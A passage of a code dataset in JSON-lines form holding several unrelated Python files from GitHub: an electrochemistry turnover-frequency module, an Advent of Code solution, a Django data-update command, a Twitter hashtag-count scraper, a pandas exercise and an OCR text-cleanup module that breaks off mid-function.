(\"activity\", \"exchange\", \"dissolution\") and t_id is the id\n \"\"\"\n self.t_ids = t_ids or {}\n self._tofs = {}\n self.experiment = None\n self.tspan = None\n\n def __contains__(self, item):\n return item in self.t_ids\n\n def __repr__(self):\n return f\"TurnOverSet({self.t_ids})\"\n\n def add_tof(self, tof):\n tof_type = tof.tof_type\n self.t_ids[tof_type] = tof.id\n self._tofs[tof_type] = tof\n if not self.experiment:\n self.experiment = tof.experiment\n elif not (tof.experiment.id == self.experiment.id):\n raise TypeError(f\"can't add {tof} to {self} as experiment is not the same\")\n if not self.tspan:\n self.tspan = tof.tspan\n elif not (tof.tspan[0] == self.tspan[0]):\n raise TypeError(f\"can't add {tof} to {self} as tspans are not the same\")\n\n def get_tof(self, item):\n if item in self._tofs:\n return self._tofs[item]\n elif item in self.t_ids:\n if self.experiment:\n self._tofs[item] = TurnOverFrequency.open(\n self.t_ids[item], experiment=self.experiment\n )\n else:\n self._tofs[item] = TurnOverFrequency.open(self.t_ids[item])\n self.experiment = self._tofs[item].experiment\n return self._tofs[item]\n raise KeyError(f\"{self} does not have tof for {item}\")\n\n def __getitem__(self, item):\n return self.get_tof(item)\n\n def __iter__(self):\n yield from self._tofs.values()\n\n def __getattr__(self, item):\n try:\n return self.get_tof(item)\n except KeyError as e:\n raise AttributeError(e)\n\n @property\n def sample(self):\n return self.experiment.sample\n\n @property\n def sample_name(self):\n return self.experiment.sample_name\n\n\nclass TOFCollection:\n \"\"\"A group of turnoverfrequencies\"\"\"\n\n def __init__(self, tof_list=None):\n self.tof_list = tof_list\n\n def __iter__(self):\n yield from self.tof_list\n\n def mean_rate(self):\n return np.mean(np.array([tof.rate for tof in self]))\n\n def std(self):\n return np.mean(np.array([tof.rate for tof in self]))\n\n\nclass TurnOverFrequency:\n def __init__(\n self,\n tof_type=None,\n rate=None,\n tof=None,\n current=None,\n potential=None,\n e_id=None,\n experiment=None,\n sample_name=None,\n tspan=None,\n r_id=None,\n rate_calc_kwargs=None,\n description=None,\n t_id=None,\n amount=None,\n ):\n \"\"\"Iinitiate a TurnOverFrequency\n\n Args:\n tof_type (str): The type of TOF. Options are 'activity', 'exchange', and\n 'dissolution'.\n rate (float): The un-normalized rate, if known, in [mol/s]\n e_id (int): The id of the associated experiment\n experiment (Experiment): optionally, the Experiment itself can be given to\n save time.\n sample_name (str): Sample name. Only needed if no experiment is given.\n tspan (timespan): The time interval over which to integrate/average\n r_id (int): The id of the associated roughness measurement\n rate_calc_kwargs (dict): Extra kwargs for the relevant rate calc. function.\n description (str): free-form description of the TOF point\n t_id (int): The principle key. Defaults to incrementing the counter\n \"\"\"\n self.tof_type = tof_type\n self.e_id = e_id\n self.tspan = tspan\n self.r_id = r_id\n self._experiment = experiment\n self._rate = rate\n self._tof = tof\n self._potential = potential\n self._current = current\n self._sample_name = sample_name\n self.description = description\n self.rate_calc_kwargs = rate_calc_kwargs or {}\n self.id = t_id or TOFCounter().id\n self._rate = rate\n self._amount = amount\n\n def as_dict(self):\n \"\"\"The dictionary represnetation of the TOF's metadata\"\"\"\n return dict(\n tof_type=self.tof_type,\n rate=self._rate, # result!\n tof=self._tof, # result!\n potential=self._potential, # result!\n current=self._current, # result!\n e_id=self.e_id,\n tspan=self.tspan,\n r_id=self.r_id,\n rate_calc_kwargs=self.rate_calc_kwargs,\n description=self.description,\n t_id=self.id,\n amount=self._amount,\n sample_name=self._sample_name,\n )\n\n def save(self):\n \"\"\"Save the TOF's metadata to a .json file\"\"\"\n self_as_dict = self.as_dict()\n path_to_file = TOF_DIR / f\"{self}.json\"\n with open(path_to_file, \"w\") as f:\n json.dump(self_as_dict, f, indent=4)\n\n @classmethod\n def load(cls, path_to_file, **kwargs):\n \"\"\"Load a TOF from the metadata stored in a file\"\"\"\n with open(path_to_file, \"r\") as f:\n self_as_dict = json.load(f)\n self_as_dict.update(kwargs)\n return cls(**self_as_dict)\n\n @classmethod\n def open(cls, t_id, tof_dir=TOF_DIR, **kwargs):\n \"\"\"Opens the measurement given its id\"\"\"\n try:\n path_to_file = next(\n path\n for path in Path(tof_dir).iterdir()\n if path.stem.startswith(f\"t{t_id}\")\n )\n except StopIteration:\n raise FileNotFoundError(f\"no TurnOverFrequency with id = t{t_id}\")\n return cls.load(path_to_file, **kwargs)\n\n def __repr__(self):\n if not self.experiment:\n return f\"t{self.id} is {self.tof_type} without experiment in pyOER\"\n return f\"t{self.id} is {self.tof_type} on {self.sample_name} on {self.date}\"\n\n # -------- table-joining properties ------------ #\n @property\n def experiment(self):\n if not self._experiment:\n if not self.e_id:\n print(f\"TOF with id={self.id} has no attached experiment.\")\n return None\n self._experiment = open_experiment(self.e_id)\n return self._experiment\n\n @property\n def measurement(self):\n if not self.experiment:\n return None\n return self.experiment.measurement\n\n @property\n def date(self):\n if not self.measurement:\n return None\n return self.measurement.date\n\n @property\n def sample(self):\n return self.measurement.sample\n\n @property\n def sample_name(self):\n if self._sample_name:\n return self._sample_name\n if not self.measurement:\n return None\n return self.measurement.sample_name\n\n @property\n def element(self):\n return self.sample.element\n\n @property\n def t_interval(self):\n \"\"\"float: The length of electrolysis time covered by the TOF\"\"\"\n return self.tspan[-1] - self.tspan[0]\n\n @property\n def rate_calculating_function(self):\n \"\"\"The function that this TOF uses to calculate its rate\"\"\"\n if self.tof_type == \"activity\":\n return calc_OER_rate\n if self.tof_type == \"exchange\":\n return calc_exchange_rate\n if self.tof_type == \"dissolution\":\n return calc_dissolution_rate\n raise TypeError(f\"no associated rate function for tof_type={self.tof_type}\")\n\n def calc_rate(self, **kwargs):\n \"\"\"Calculate and return the relevant rate in [mol/s]\"\"\"\n if not self.experiment:\n return\n rate_calc_kwargs = self.rate_calc_kwargs\n rate_calc_kwargs.update(kwargs)\n rate = self.rate_calculating_function(\n experiment=self.experiment, tspan=self.tspan, **rate_calc_kwargs\n )\n self._rate = rate\n return rate\n\n def calc_amount(self, **kwargs):\n \"\"\"Calculate and return the relevant amout in [mol]\"\"\"\n if not self.experiment:\n return\n amount = self.calc_rate(**kwargs) * self.t_interval # noqa\n self._amount = amount\n return amount\n\n @property\n def rate(self):\n \"\"\"The rate (activity, dissolution, or exchange) in [mol/s]\"\"\"\n if not self._rate:\n self.calc_rate()\n return self._rate\n\n def calc_tof(self):\n if not self.experiment:\n return\n self._tof = self.rate / self.experiment.n_sites\n return self._tof\n\n @property\n def tof(self):\n \"\"\"The estimated turn-over frequency in [s^-1]\n\n TOF is estimated (via self.rate / self.experiment.n_sites) as:\n tof = partial_capacitance_normalized_current / (4 * FARADAYS_CONSTANT) \\\n * STANDARD_SPECIFIC_CAPACITANCE / STANDARD_SITE_DENSITY\n giving units [A/F] / [C/mol] * [F/cm^2] / [mol/cm^2] = [A/C] = [s^-1]\n \"\"\"\n if not self._tof:\n self.calc_tof()\n return self._tof\n\n def calc_potential(self):\n if not self.experiment:\n return\n self._potential = calc_potential(self.experiment, self.tspan)\n return self._potential\n\n @property\n def amount(self):\n \"\"\"The rate (activity, dissolution, or exchange) in [mol]\"\"\"\n if not self._amount:\n self.calc_amount()\n return self._amount\n\n @property\n def potential(self):\n \"\"\"The potential vs RHE in [V]\"\"\"\n if not self._potential:\n self.calc_potential()\n return self._potential\n\n def calc_current(self):\n self._current = calc_current(self.experiment, self.tspan)\n return self._current\n\n @property\n def current(self):\n \"\"\"The potential vs RHE in [V]\"\"\"\n if not self._current:\n self.calc_current()\n return self._current\n\n def get_tof_triplet(self):\n act_tof = None\n diss_tof = None\n exc_tof = None\n for tof in self.experiment.get_tofs():\n if not tof.tspan == self.tspan:\n continue\n if tof.tof_type == \"activity\":\n act_tof = tof\n elif tof.tof_type == \"dissolution\":\n diss_tof = tof\n elif tof.tof_type == \"exchange\":\n exc_tof = tof\n return act_tof, diss_tof, exc_tof\n\n def calc_faradaic_efficiency(self, n_el=4, mol=None):\n rate = self.calc_rate(mol=mol) if mol else self.rate\n FE = rate * n_el * FARADAY_CONSTANT / self.current\n return FE\n","repo_name":"ixdat/LowOverpotentialRegime","sub_path":"src/pyOER/tof.py","file_name":"tof.py","file_ext":"py","file_size_in_byte":12048,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"70330812854","text":"import string\r\ncommands = [x.strip() for x in open(\"input.txt\").readlines()]\r\n\r\ncommands = [x.split(' ') for x in commands]\r\ndata_system = {}\r\ndirectory = []\r\n\r\nfor row in commands:\r\n if row[0] == '$' and row[1] == 'cd':\r\n if row[2] == '/':\r\n directory = ['//']\r\n data_system['//'] = 0\r\n elif row[2] == '..':\r\n directory.pop()\r\n else:\r\n cursor = '/'.join(directory) + '/' + row[2]\r\n directory.append(cursor)\r\n if not data_system.get(cursor):\r\n data_system[cursor] = 0\r\n elif str(row[0])[0] in string.digits:\r\n for dir in directory:\r\n data_system[dir] += int(row[0])\r\n\r\noutput = [x for x in data_system.values() if x <= 100000]\r\nprint(sum(output))\r\n\r\noutput = [x for x in data_system.values() if x > data_system['//'] - 40000000]\r\nprint(min(output))\r\n","repo_name":"AyaPK/advent-of-code","sub_path":"2022/day7/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27890315743","text":"import pandas as pd\nfrom API.models import Client, Country, State, City, Store\nfrom django.core.management.base import BaseCommand\nfrom django.shortcuts import get_object_or_404\n\n\nclass Command(BaseCommand):\n\n help = \"import booms\"\n\n def add_arguments(self, parser):\n pass\n\n def handle(self, *args, **options):\n\n # Cambiar el nombre de los Clientes con Id 5, 8 y 9 poor \"JULIAN\"\n clients_id = [5, 8, 9]\n\n for id in clients_id:\n curr_client = get_object_or_404(Client, id=id)\n curr_client.name = \"Julian\"\n\n curr_client.save()\n\n clients_id = [1, 7, 6]\n fav_store_id = 5\n fav_store = get_object_or_404(Store, id=fav_store_id)\n\n for id in clients_id:\n curr_client = get_object_or_404(Client, id=id)\n curr_client.favorite_stor = fav_store\n curr_client.save()","repo_name":"afarangurens/OmniProMicroservicio","sub_path":"API/management/commands/updatedata.py","file_name":"updatedata.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28276801493","text":"import os\nimport sys\n\nsys.path.append(\n os.path.abspath(\n os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n )\n)\n\nfrom pathlib import Path\n\nfrom pybo import *\nfrom adjustseg import AdjustSeg\n\ndef test_tokens(adj):\n for token in adj.c_ambiguous:\n assert not token.startswith(\"-\")\n\n for token in adj.c_nonambiguous:\n assert not token.startswith(\"-\")\n\nif __name__ == \"__main__\":\n\n path = Path(\".\")\n volumes = [\"testcase\"]\n\n tok = BoTokenizer('POS')\n adj = AdjustSeg(path, volumes)\n\n adj.stats()\n\n # testcase\n test_tokens(adj)\n\n print(\"Test pass.... ok\")\n","repo_name":"Esukhia/canonsegmentation","sub_path":"adjustment/test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13681396800","text":"from config.config import HASHTAG_LIST, TWEET_DATA_KEY\nimport requests\nimport pandas as pd\nimport databutton as db\nfrom datetime import datetime, timedelta, timezone\nimport re\nimport sys\n\nsys.path.append(\".\")\n\n\nbearer_token = db.secrets.get('TWITTER_BEARER_TOKEN')\n\n\ndef timestamp_start_of_day():\n today = datetime.now(timezone.utc)\n yesterday = today - timedelta(days=1)\n return yesterday.strftime(\"%Y-%m-%dT00:00:00.000Z\"), today.strftime(\"%Y-%m-%dT00:00:00.000Z\")\n\n\ndef fetch_tweet_stats(hashtag: str, start_time_utc: str, end_time_utc: str):\n return requests.get(\n f\"https://api.twitter.com/2/tweets/counts/recent?query=%22{hashtag}%22&start_time={start_time_utc}&end_time={end_time_utc}\",\n headers={\"Authorization\": f\"Bearer {bearer_token}\"},\n ).json()\n\n\ndef scrape_twitter(start_time_utc: str, end_time_utc: str):\n df = db.storage.dataframes.get(TWEET_DATA_KEY)\n\n print(\n f\"Fetching tweets from (incl) {start_time_utc} to (excl) {start_time_utc}\")\n regex = r\"\\d{4}-\\d{2}-\\d{2}\"\n\n for hashtag in HASHTAG_LIST:\n print(f\"Fetching stats for hashtag: {hashtag}\")\n stats = fetch_tweet_stats(\n hashtag=hashtag, start_time_utc=start_time_utc, end_time_utc=end_time_utc)\n\n print(stats)\n\n for item in stats[\"data\"]:\n id = f\"{hashtag}-{item['start']}\"\n skip_id_check = \"id\" not in df.columns\n if skip_id_check or not (df[\"id\"] == id).any():\n start_time = item[\"start\"]\n end_time = item[\"end\"]\n print(f\"{start_time} -> {end_time}\")\n if not re.search(regex, start_time) or not re.search(regex, end_time):\n print(f\"Invalid response: {item}\")\n\n if \"1970\" in item[\"start\"] or \"1970\" in item[\"end\"]:\n print(item)\n\n else:\n df = pd.concat(\n [\n df,\n pd.DataFrame(\n [\n {\n \"id\": f\"{hashtag}-{item['start']}\",\n \"hashtag\": hashtag,\n \"start_time\": start_time,\n \"end_time\": end_time,\n \"tweet_count\": item[\"tweet_count\"],\n }\n ]\n ),\n ],\n ignore_index=True,\n )\n else:\n print(f\"ID: {id} already in dataframe. Skipping\")\n\n # db.storage.dataframes.put(df, TWEET_DATA_KEY)\n\n\n@db.jobs.repeat_every(seconds=60 * 60 * 12) # Every twelve hours\ndef twitter_job():\n start_of_day_utc, end_of_day_utc = timestamp_start_of_day()\n scrape_twitter(start_time_utc=start_of_day_utc,\n end_time_utc=end_of_day_utc)\n\n\nif __name__ == \"__main__\":\n scrape_twitter(\n start_time_utc='2022-08-01T00:00:00.000Z',\n end_time_utc='2022-08-02T00:00:00.000Z'\n )\n","repo_name":"databutton/trends-monitoring","sub_path":"functions/scrape_twitter.py","file_name":"scrape_twitter.py","file_ext":"py","file_size_in_byte":3143,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"40781239587","text":"input = open('input.txt', 'r')\r\nlst = []\r\nfor j in range(10):\r\n s = input.readline()\r\n s = s.rstrip()\r\n a = list(map(int, s.split()))\r\n p = [(0 , 0)] * (int(len(a) / 2))\r\n for i in range(len(p)):\r\n p[i] = a[i*2], a[i*2 + 1]\r\n lst.append(p)\r\n print(lst[j])\r\ninput.close() \r\n \r\n \r\n","repo_name":"Smirn0v-da/Smirnov_2","sub_path":"part2_3.py","file_name":"part2_3.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10575291633","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 25 12:30:58 2018\n\n@author: arodriguez\n\"\"\"\n\n\nimport pandas as pd\n\n\nimport csv\nwith open('mpg.csv') as csvfile:\n mpg = list(csv.DictReader(csvfile))\n\nmpg[:3]\n\nlen(mpg)\n\nmpg[0].keys()\n\n#Compute averages\nsum(float(d['cty']) for d in mpg) / len(mpg)\nsum(float(d['hwy']) for d in mpg) / len(mpg)\n\n#Obtain unique number of cylinders\ncylinders = set(d['cyl'] for d in mpg)\ncylinders\n\nCtyMpgByCyl = []\n\n#Average cty per cyl\nfor c in cylinders:\n summpg = 0\n cyltypecount = 0\n for d in mpg:\n if d['cyl'] == c:\n summpg += float(d['cty'])\n cyltypecount += 1\n CtyMpgByCyl.append((c, summpg / cyltypecount))\n \nCtyMpgByCyl.sort(key=lambda x: x[0]) #sort by number of cylinders from lowest to highest\nCtyMpgByCyl\n\n#Average hwy mpg for the different vehicle classes\nvehicleclass = set(d['class'] for d in mpg)\nvehicleclass\ntest = list(vehicleclass)\n\nHwyMpgByClass = []\n\nfor t in vehicleclass: #iterate over all the vehicle classes\n summpg = 0\n vclasscount = 0\n for d in mpg:\n if d['class'] == t:\n summpg += float(d['hwy'])\n vclasscount += 1 #increment the count\n HwyMpgByClass.append((t, summpg / vclasscount)) #append the tuple ('class', 'avg mpg')\n \nHwyMpgByClass.sort(key=lambda x: x[1]) #sort by average mpg from lowest to highest\nHwyMpgByClass\n\n\n\npurchase_1 = pd.Series({'Name': 'Chris',\n 'Item Purchased': 'Dog Food',\n 'Cost': 22.50})\npurchase_2 = pd.Series({'Name': 'Kevyn',\n 'Item Purchased': 'Kitty Litter',\n 'Cost': 2.50})\npurchase_3 = pd.Series({'Name': 'Vinod',\n 'Item Purchased': 'Bird Seed',\n 'Cost': 5.00})\ndf = pd.DataFrame([purchase_1, purchase_2, purchase_3], index=['Store 1', 'Store 1', 'Store 2'])\ndf.head()","repo_name":"iam-arturo/SMAP-db-python-scripts","sub_path":"pandas test1.py","file_name":"pandas test1.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35395063352","text":"import math\nimport os\nimport numpy as np\nimport cv2\nimport pytesseract\nimport pdfplumber\nimport re\n\nfrom typing import Tuple, Union\nfrom PIL.PpmImagePlugin import PpmImageFile\nfrom pdf2image import convert_from_path\nfrom deskew import determine_skew\nfrom nltk.corpus import words\n\nMEANINGFUL_WORDS = [word.lower() for word in words.words()]\n\n# Rotate an image by an angle\ndef rotate_matrix(image: np.ndarray, angle: float, background: Union[int, Tuple[int, int, int]]) -> np.ndarray:\n\n if angle is None:\n return image\n #else:\n # print(\"Rotate angle: {}\".format(angle))\n \n old_width, old_height = image.shape[:2]\n angle_radian = math.radians(angle)\n width = abs(np.sin(angle_radian) * old_height) + abs(np.cos(angle_radian) * old_width)\n height = abs(np.sin(angle_radian) * old_width) + abs(np.cos(angle_radian) * old_height)\n\n image_center = tuple(np.array(image.shape[1::-1]) / 2)\n rot_mat = cv2.getRotationMatrix2D(image_center, angle, 1.0)\n rot_mat[1, 2] += (width - old_width) / 2\n rot_mat[0, 2] += (height - old_height) / 2\n return cv2.warpAffine(image, rot_mat, (int(round(height)), int(round(width))), borderValue=background)\n\n# Identify underlines and draw countours to cover them\ndef remove_underlines(image: np.ndarray) -> np.ndarray:\n thresh = cv2.threshold(image, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU)[1]\n # construct a horizontal kernel (30 x 1)\n horizontal_kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (30, 1))\n detected_lines = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, horizontal_kernel, iterations=1)\n cnts = cv2.findContours(detected_lines, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if len(cnts) == 2 else cnts[1]\n for c in cnts:\n # An in-place operation. use a 2-pt thick white line to cover the underlines.\n cv2.drawContours(image, [c], -1, (255,255,255), 2)\n return image\n\n# Apply computer vision techniques to improve the quality of an image\ndef preprocess_image(img: PpmImageFile) -> np.ndarray:\n # Convert a PIL image to the numpy format for OpenCV\n np_img = np.array(img)\n\n # Convert RGB to BGR \n bgr_img = np_img[:, :, ::-1].copy()\n \n # Convert image to grayscale\n gray_img = cv2.cvtColor(bgr_img, cv2.COLOR_BGR2GRAY)\n\n # Rotate the image by a detected skewed angle.\n angle = determine_skew(gray_img, num_peaks=10)\n if abs(angle) < 5.0:\n rotated_img = rotate_matrix(gray_img, angle, (255, 255, 255))\n else:\n print(\"the skewed angle {} is too big!\".format(angle))\n rotated_img = gray_img\n \n # remove lines under words\n cleaned_img = remove_underlines(rotated_img)\n \n # Apply a square Gaussian kernel (3x3) to smooth the image\n smoothed_img = cv2.GaussianBlur(cleaned_img, (3, 3), 0)\n\n # Use a square kernel (2x2) to erode a character to make its edges sharper.\n eroded_img = cv2.erode(smoothed_img, np.ones((2,2), np.uint8), iterations=1)\n\n # Use a rectangular kernel (2x1) to dilate a character to make its edges bolder\n dilated_img = cv2.dilate(eroded_img, np.ones((2,1), np.uint8), iterations=1)\n\n return dilated_img\n\n# If a line is made up of meaningless tokens\ndef is_meaningless_line(line: str) -> bool:\n\n # document name\n if any(x in line for x in [\".doc\", \".pdf\", \"DocuSign Envelope ID\", \n \"(TUE)\", \"FROM CORPORATION TRUST\", \"CORPORATE TRUST CENTER\"]):\n return True\n \n tokenIsMeaningless = []\n for token in line.lower().replace(\".\", \" \").split(\" \"):\n # page number\n if re.match(\"^\\d+$\", token) is not None:\n tokenIsMeaningless.append(True)\n # gibberish (e.g., GDS VF&H\\1642487.6 5)\n elif token not in MEANINGFUL_WORDS:\n tokenIsMeaningless.append(True)\n else:\n tokenIsMeaningless.append(False)\n\n return all(tokenIsMeaningless)\n\n# Clean the margins of a page\ndef remove_header_and_footer(lines: [str]) -> str:\n \n clean_lines = lines\n if is_meaningless_line(clean_lines[0]):\n clean_lines = clean_lines[1:]\n # one more line\n if is_meaningless_line(clean_lines[0]):\n clean_lines = clean_lines[1:]\n if is_meaningless_line(clean_lines[-1]):\n clean_lines = clean_lines[:-1] \n if is_meaningless_line(clean_lines[-1]):\n clean_lines = clean_lines[:-1]\n\n return \"\\n\\n\".join(clean_lines)\n\ndef fix_pdf_errors(raw_text: str) -> str:\n # ( a) -> (a), ( 1) -> (1)\n clean_text = re.sub(\"\\( +(.*)\", lambda o: \"(\" + o.groups()[0], raw_text)\n # (a ) -> (a)\n clean_text = re.sub(\"(.*) +\\)\", lambda o: o.groups()[0] + \")\", clean_text)\n # (o r) -> (or), (o ther) -> (other)\n clean_text = re.sub(\"\\(o (\\w)\", lambda o: \"(o\" + o.groups()[0], clean_text)\n # SeriesC -> Series, Section1 -> Section 1, Article I -> Article I\n clean_text = re.sub(\"(eries|ection|rticle|RTICLE)([0-9A-Z])\", lambda o: \" \".join(o.groups()), clean_text)\n \n return clean_text.replace(\"P referred\", \"Preferred\"\n ).replace(\"oft he\", \"of the\")\n\ndef correct_mispelled_symbols(raw_text: str) -> str:\n \n processed_text = raw_text\n \n MISPELLING_DICT = {\n \"|\": \"\", \n \"—\": \" \", \n \"_\": \" \", \n \"- \": \" \", \n \"{\": \"(\", \n \"}\": \")\", \n \"\\(\": \")(\", \n \"©\": \"c\", \n \"(¢)\": \"(e)\", \n \"(ce)\": \"(e)\", \n \"(ec)\": \"(e)\", \n \"(hb)\": \"(h)\", \n \"(ji)\": \"(ii)\", \n \"(iti)\": \"(iii)\", \n \"(vy)\": \"(v)\", \n \"(vili)\": \"(viii)\", \n \"[I\": \"I\", \n \"TV(\": \"IV(\", \n \"Cc.\": \"C.\", \n \"Dz.\": \"D.\", \n \"l0\": \"10\", \n \"-Iwo\": \"-Two\", \n \"FIr tH\": \"FIFTH\", \n \"TWELI1IH\" : \"TWELFTH\", \n \"Article 5S\": \"Article 5\", \n \"Series AS\": \"Series A5\", \n \"Series A5S\": \"Series A5\", \n \"Series A6é\": \"Series A6\", \n \"AT Preferred\": \"A7 Preferred\", \n \"Series A110\": \"Series A10\",\n \"1, THE UNDERSIGNED\": \"I, THE UNDERSIGNED\",\n }\n \n for mispelled_symbol, correct_symbol in MISPELLING_DICT.items():\n processed_text = processed_text.replace(mispelled_symbol, correct_symbol)\n # @\n processed_text = re.sub(\"@\\)?\", \"(i)\", processed_text)\n # qd), qi) ,ql) -> (1)\n processed_text = re.sub(\"q[dil]\\)\", \"(1)\", processed_text)\n # qd -> (d)\n processed_text = re.sub(\"\\nqd \", \"(d) \", processed_text)\n # Gj) -> (j)\n processed_text = re.sub(\"G\\w{1,4}\\)\", lambda o: \"(\" + o.group()[1:], processed_text)\n # [X -> IX, [V -> IV, 1V -> IV, I'V -> IV\n processed_text = re.sub(\"(\\[|1|I')(X|V)\", lambda o: \"I\" + o.groups()[1], processed_text)\n # \\n(0) -> (o)\n processed_text = re.sub(\"\\n\\(0\\) \", \"\\n(o) \", processed_text)\n # (iXE) -> (i)(E)\n processed_text = re.sub(\"(\\(\\w+)X(\\w+\\))\", lambda o: \")(\".join(o.groups()), processed_text)\n # (iMA) -> (i)(A)\n processed_text = re.sub(\"(\\(\\w+)M(\\w+\\))\", lambda o: \")(\".join(o.groups()), processed_text)\n # )iiX( -> )(ii)(\n processed_text = re.sub(\"\\)(i+)X\\(\", lambda o: \")(\" + len(o.groups()[0])*\"i\" + \")(\", processed_text)\n # Il -> II, Ill -> III\n processed_text = re.sub(\"I(l+)\", lambda o: \"I\"*len(o.group()), processed_text)\n # -l, -I, -],-! -> -1\n processed_text = re.sub(\"-[lI\\]\\!]\", \"-1\", processed_text)\n # L. -> 1.\n processed_text = re.sub(\"(\\s)L\\.\", lambda o: o.groups()[0] + \"1.\", processed_text) \n # -? -> -2\n processed_text = re.sub(\"-[\\?]\", \"-2\", processed_text)\n # 13\" day -> 13th day\n processed_text = re.sub(\"(\\d)\\\" day\", lambda o: o.group()[0] + \"th day\", processed_text)\n # Series A11\n processed_text = re.sub(\"Series Al[1l\\]]\", \"Series A11\", processed_text)\n \n return processed_text\n\ndef correct_mispelled_patterns(raw_text: str) -> str:\n processed_text = raw_text\n # a! -> al\n processed_text = re.sub(\"a!\", \"al\", processed_text) \n # all (l), l], ll], l!, lj)\n processed_text = re.sub(\"(a|e|i|A)l{1,2}[\\)\\]\\!j]\", lambda o: o.groups()[0] + \"ll\", processed_text) \n # adjustment (adjusment, adiustment, adjusi:ment, adiusiiument) NOTE: advancement\n processed_text = re.sub(\"(a|A)d[ijmnrstu1:]{4,}ent\", lambda o: o.groups()[0] + \"djustment\", processed_text)\n # affirmative (affimative, affiiiative, affiisuative)\n processed_text = re.sub(\"af[a-z1:]{3,5}ative\", \"affirmative\", processed_text)\n # article\n processed_text = re.sub(\"AR[UL]ICLE\", \"ARTICLE\", processed_text) \n # required, acquired\n processed_text = re.sub(\"auired\", \"quired\", processed_text)\n # certificate\n processed_text = re.sub(\"CERTIFICA1[r\\&]\", \"CERTIFICATE\", processed_text)\n # Convert (Conveii, Convesi)\n processed_text = re.sub(\"(c|C)on[vy]e[is]i(ed|ible)\", lambda o: o.groups()[0] + \"onvert\" + o.groups()[1], processed_text)\n # determin (deteimed, deterined, deteiiiiined, deteriiination, delauination)\n processed_text = re.sub(\"(d|D)ete[a-z1:\\s]{2,4}in(a|e|i)\", lambda o: o.groups()[0] + \"etermin\" + o.groups()[1], processed_text)\n processed_text = re.sub(\"(d|D)elauin(a|e|i)\", lambda o: o.groups()[0] + \"etermin\" + o.groups()[1], processed_text)\n # distribute (disizibute, disiribute)\n processed_text = re.sub(\"disi[rz]ib\", \"distrib\", processed_text) \n # each (cach)\n processed_text = re.sub(\"(\\W)cach(\\W)\", lambda o: o.groups()[0] + \"each\" + o.groups()[1], processed_text)\n # file\n processed_text = re.sub(\"FIT[EFR\\.]\", \"FILE\", processed_text)\n # firm (fii, fiun, fiiii, fiiin)\n processed_text = re.sub(\"(\\W)fi[iu]+n?(\\W)\", lambda o: o.groups()[0] + \"firm\" + o.groups()[1], processed_text)\n # forth (finin, foxin)\n processed_text = re.sub(\"(\\W)f(ini|oxi)n(\\W)\", lambda o: o.groups()[0] + \"forth\" + o.groups()[2], processed_text)\n # form (fox, fou, fori, fous, foiin) NOTE: for\n processed_text = re.sub(\"(\\Win)( the | )fo[a-z]{1,3}\", lambda o: o.groups()[0] + o.groups()[1] + \"form\", processed_text)\n # formed, former, forming (foisu, foiin, foun, foim, foiim)\n processed_text = re.sub(\"fo[imnrsu:1\\.]{2,3}(ed|er|in)\", lambda o: \"form\" + o.groups()[0], processed_text)\n # formula (fouuula)\n processed_text = re.sub(\"(f|F)o[imnrsu:1\\.]{2}ula\", lambda o: o.groups()[0] + \"ormula\", processed_text)\n # from (fium)\n processed_text = re.sub(\"(\\W)f(iu)m(\\W)\", lambda o: o.groups()[0] + \"from\" + o.groups()[2], processed_text)\n # general\n processed_text = re.sub(\"(g|G)en[ec]ral\", lambda o: o.groups()[0] + \"eneral\", processed_text) \n # harm (harin, haiiu)\n processed_text = re.sub(\"ha[riun]{3}(\\W|s|ful|less)\", lambda o: \"harm\" + o.groups()[0], processed_text)\n # holders (holdes, holdas, holdcrs)\n processed_text = re.sub(\"hold(a|e|cr)s\", \"holders\", processed_text)\n processed_text = re.sub(\"each bolder\", \"each holder\", processed_text)\n # In\n processed_text = re.sub(\"[1jJ]n\", \"In\", processed_text)\n # indemnif (indeiunif, Indeminif)\n processed_text = re.sub(\"(i|I)nde[imu]{2}nif\", lambda o: o.groups()[0] + \"ndemnif\", processed_text)\n # judgment (judgiuent)\n processed_text = re.sub(\"judg[a-z1:]{2,4}t\", \"judgment\", processed_text)\n # net (nct, nct\n processed_text = re.sub(\"(\\W)nct(\\W)\", lambda o: o.groups()[0] + \"net\" + o.groups()[1], processed_text)\n # of\n processed_text = re.sub(\"(\\W)(o:|0;|af)(\\W)\", lambda o: o.groups()[0] + \"of\" + o.groups()[2], processed_text)\n # or\n processed_text = re.sub(\"(\\W)(ar|oF)(\\W)\", lambda o: o.groups()[0] + \"or\" + o.groups()[2], processed_text)\n # partner (pasiner, pasiuer, pariner, pariuer)\n processed_text = re.sub(\"pa[inrsu]{3}er\", \"partner\", processed_text)\n # per (por)\n processed_text = re.sub(\"(\\W)p(o)r(\\W)\", lambda o: o.groups()[0] +\"per\" + o.groups()[2], processed_text)\n # permit (parmit, peiimit, pesmit, perinit, periuit, painit, pe:mit)\n processed_text = re.sub(\"(\\W)p[a-z1:]{3,4}it(\\W|s|t)\", lambda o: o.groups()[0] + \"permit\" + o.groups()[1], processed_text)\n # referred (refced, refccd, reféued, reftxaed; iefeaved, isiemed)\n processed_text = re.sub(\"ref[a-z1:é]{1,3}[ce]d(\\W)\", lambda o: \"referred\" + o.groups()[0], processed_text)\n processed_text = re.sub(\"i(efeav|siem)ed\", \"referred\", processed_text)\n # regist (registi, regisir)\n 